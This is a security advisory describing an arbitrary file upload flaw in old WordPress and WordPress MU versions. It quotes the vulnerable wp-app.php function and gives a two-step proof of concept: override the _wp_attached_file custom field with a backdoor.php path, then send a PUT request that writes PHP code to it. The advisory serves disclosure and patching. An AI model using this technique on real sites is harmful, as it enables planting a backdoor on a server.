Arbitrary File Upload Vulnerability in WordPress and WordPress MU

Author
Alexander Concha <alex at buayacorp dot com>
Affected versions
WordPress 2.2 and WordPress MU <= 1.2.2

Description

WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability.

WordPress allows the upload of limited set of file attachments. The name, title and other values are stored on wp_posts table with post_type=attachment, the path and other file properties are stored in wp_postmeta table using special fields named _wp_attached_file and _wp_attachment_metadata.

On the other hand, WordPress also gives the ability to add custom fields in normal posts or pages (this fields are stored in wp_postmeta table too), but it does not check whether this special meta-data fields of attachments are added in normal posts.

On wp-app.php, there is the following function that allows file uploads:

function put_file($postID) {

  $type = $this->get_accepted_content_type();

  // first check if user can upload
  if(!current_user_can('upload_files'))
    $this->auth_required(__('You do not have permission to upload files.'));

  // check for not found
  global $entry;
  $this->set_current_entry($postID);

  // then whether user can edit the specific post
  if(!current_user_can('edit_post', $postID)) {
    $this->auth_required(__('Sorry, you do not have the right to edit this post.'));
  }

  $location = get_post_meta($entry['ID'], '_wp_attached_file', true);

  if(!isset($location))
    $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));

  $fp = fopen("php://input", "rb");
  $localfp = fopen($location, "w+");
  while(!feof($fp)) {
    fwrite($localfp,fread($fp, 4096));
  }
  fclose($fp);
  fclose($localfp);

  log_app('function',"put_file($postID)");
  $this->ok();
}

This function basically loads the path of the first attachment and writes the content that is posted to wp-app.php. So, if an attacker overrides the value of the first metadata attachment with a convenient filename, all the contents will be written to that file.

This bug has been proved to be critical in WordPress MU based sites, since every registered user that have a blog account can upload files.

Proof of Concept

  1. Create or edit a post and add/override a custom field to it with the following value:

    key 	: _wp_attached_file
    value 	: /home/vulnerable.com/wp/wp-content/uploads/backdoor.php
  2. Send a PUT request to wp-app.php and pass the post_ID value from step 1
    PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
    Cookie: auth cookies
    Content-Type: image/gif
    Host: vulnerable.com
    Content-Length: the content length
    
    <?php echo "Hello World"; ?>

Solution

Upgrade to latest version of WordPress [MU]. This bug was fixed in changeset 5765.

Disclosure Timeline